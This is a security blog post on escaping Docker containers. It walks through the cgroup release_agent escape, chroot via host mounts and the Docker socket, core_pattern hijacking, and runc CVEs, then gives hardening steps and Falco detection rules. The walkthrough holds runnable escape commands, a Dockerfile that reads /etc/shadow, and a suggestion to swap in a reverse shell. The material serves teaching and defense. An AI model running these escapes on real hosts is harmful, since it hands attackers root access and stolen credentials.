Introduction / Overview
Containers are isolation boundaries, not security boundaries — at least not by default. A misconfigured --privileged flag, an over-broad capability set, or an unpatched runc can collapse the wall between a container and its host kernel in a single command.
Disclaimer: This article is for education and authorized security testing only. Running these techniques against systems you do not own or have explicit written permission to test is illegal in most jurisdictions. Build your own lab.
This post walks through several real, battle-tested escape primitives and — just as importantly — how blue teams detect and prevent them. If you want background on how Linux confinement works, see my earlier write-ups on Linux capabilities and seccomp profiles.
How it works / Background
A container is just a process tree with namespaces (PID, mount, net, user, etc.), cgroups for resource limits, and a restricted set of Linux capabilities. Escapes generally exploit one of three weaknesses:
- Excessive capabilities — chiefly
CAP_SYS_ADMIN, which unlocks mounting,unshare, and cgroup manipulation. - Host resources leaking in — bind-mounted host paths, the Docker socket, or a writable
/proc. - Runtime vulnerabilities — bugs in
runc/containerd that let a malicious image overwrite host binaries.
The classic cgroup-v1 release_agent escape ties the first two together: with CAP_SYS_ADMIN you can mount a cgroup controller, set release_agent to a script, and trigger it to run on the host as root.
Prerequisites / Lab setup
Spin up a deliberately weak container on a disposable VM:
# Privileged container — the worst-case (but common) misconfig
docker run --rm -it --privileged --name victim ubuntu:22.04 bashBashConfirm what you're holding inside the container:
# Effective capabilities of the current shell
grep CapEff /proc/self/status
# Decode them
capsh --decode=000001ffffffffffBashIf cap_sys_admin appears, the cgroup-v1 release_agent path is viable (assuming the host still exposes cgroup v1).
Walkthrough / PoC
1. cgroup-v1 release_agent escape
This is the canonical --privileged escape. The release_agent is a host-side path that the kernel executes when the last task in a cgroup exits.
# Inside the privileged container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
# Enable notify_on_release for our new cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
# Find the host path of the container's filesystem
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
# Point release_agent at a script that lives on the OverlayFS upperdir
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# The payload runs as root on the HOST
printf '#!/bin/sh\nps aux > %s/output\n' "$host_path" > /cmd
chmod a+x /cmd
# Trigger: spawn a process in the cgroup, then let it exit
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# Read the host's process list, written from the host context
cat /outputBashSwap the payload for a reverse shell or cp /bin/bash /host_path/rootbash; chmod +s ... to get persistent host access.
2. Abusing a writable host mount
If the operator did -v /:/host or mounted the Docker socket, no exotic kernel tricks are needed:
# Host root filesystem bind-mounted in
chroot /host /bin/bash # you are now host root
# Or, if the Docker socket is exposed:
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine \
chroot /host shBash3. /proc-based escapes
A container that can write to the host's /proc/sys/kernel/core_pattern can hijack crash handling. When a process dumps core, the kernel runs core_pattern (a |pipe command) as root in the host's init namespace:
# Requires write access to the host's procfs (e.g. /proc not masked)
echo "|/proc/%P/root/cmd" > /proc/sys/kernel/core_pattern
# Now crash any process whose root contains /cmdBash4. runc CVE-2019-5736 and friends
CVE-2019-5736 lets a malicious container overwrite the host runc binary by re-opening /proc/self/exe and rewriting it the next time docker exec attaches. A patched runc (>= 1.0.0-rc7) copies itself into a memfd to prevent this. More recent issues — CVE-2024-21626 (the "Leaky Vessels" /proc/self/fd working-directory bug) — let a crafted WORKDIR or --cwd leak a host file descriptor and escape:
# CVE-2024-21626 trigger sketch (patched in runc 1.1.12)
FROM alpine
WORKDIR /proc/self/fd/8
RUN ["/bin/sh","-c","cd ../../../ && cat etc/shadow"]DockerfileAlways confirm the runtime version before assuming a target is vulnerable:
runc --version
docker version --format '{{.Server.Version}}'BashMermaid diagram

The diagram maps an attacker's decision tree: capability abuse, host-resource leaks, and runtime CVEs each converge on host-root code execution.
Detection & Defense (Blue Team)
Defense should be weighted at least as heavily as offense. The single most effective control is don't run privileged containers — but layer the following:
Drop capabilities and disable privilege escalation. Run with the smallest capability set and no-new-privileges:
docker run --cap-drop=ALL --security-opt=no-new-privileges \
--read-only ubuntu:22.04BashIn Kubernetes, enforce it cluster-wide with Pod Security Admission (restricted profile) and an admission controller such as OPA/Gatekeeper or Kyverno:
securityContext:
privileged: false
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]YAMLMask procfs and use seccomp/AppArmor. Docker's default seccomp profile already blocks many escape syscalls; never run with --security-opt seccomp=unconfined. Keep /proc/sys, /proc/sysrq-trigger, and core_pattern masked (the default), and prefer cgroup v2, which removes the release_agent primitive entirely.
Detect the behavior, not just the config. Falco rules catch these patterns at runtime:
# Falco ships rules like these by default
- rule: Launch Privileged Container
condition: container_started and container.privileged=true
- rule: Write below /proc
condition: open_write and fd.name startswith /proc/sys/kernelYAMLAudit for the tell-tale signs: mount -t cgroup from inside a container, writes to release_agent or core_pattern, and unexpected runc/docker exec re-execs.
Patch the runtime. Keep runc >= 1.1.12 and containerd current to close CVE-2024-21626 and CVE-2019-5736. Scan images and pin digests so a malicious base layer can't slip in. For high-value workloads, use a sandboxed runtime like gVisor (runsc) or Kata Containers to add a real kernel boundary.
Map detections to MITRE ATT&CK T1611 (Escape to Host) so SOC playbooks treat container escapes as the privilege-escalation events they are.
Conclusion
Container escapes are rarely magic — they are the predictable consequence of --privileged, leaked host mounts, an over-broad capability set, or an unpatched runtime. As an attacker, enumerate capabilities and mounts first; the easy wins are usually already there. As a defender, drop capabilities, enforce admission policies, keep runc patched, and watch for release_agent/core_pattern writes at runtime. If your container can mount a cgroup or write to host /proc, you've already lost the boundary.
References
- MITRE ATT&CK — T1611 Escape to Host: https://attack.mitre.org/techniques/T1611/
- HackTricks — Docker Breakout / Privilege Escalation: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security
- CVE-2019-5736 (runc): https://nvd.nist.gov/vuln/detail/CVE-2019-5736
- CVE-2024-21626 (runc, Leaky Vessels): https://nvd.nist.gov/vuln/detail/CVE-2024-21626
- Falco rules and runtime detection: https://falco.org/docs/
- Kubernetes Pod Security Standards: https://kubernetes.io/docs/concepts/security/pod-security-standards/
You Might Also Like
If you found this useful, these related deep-dives cover adjacent techniques and their defenses:



Comments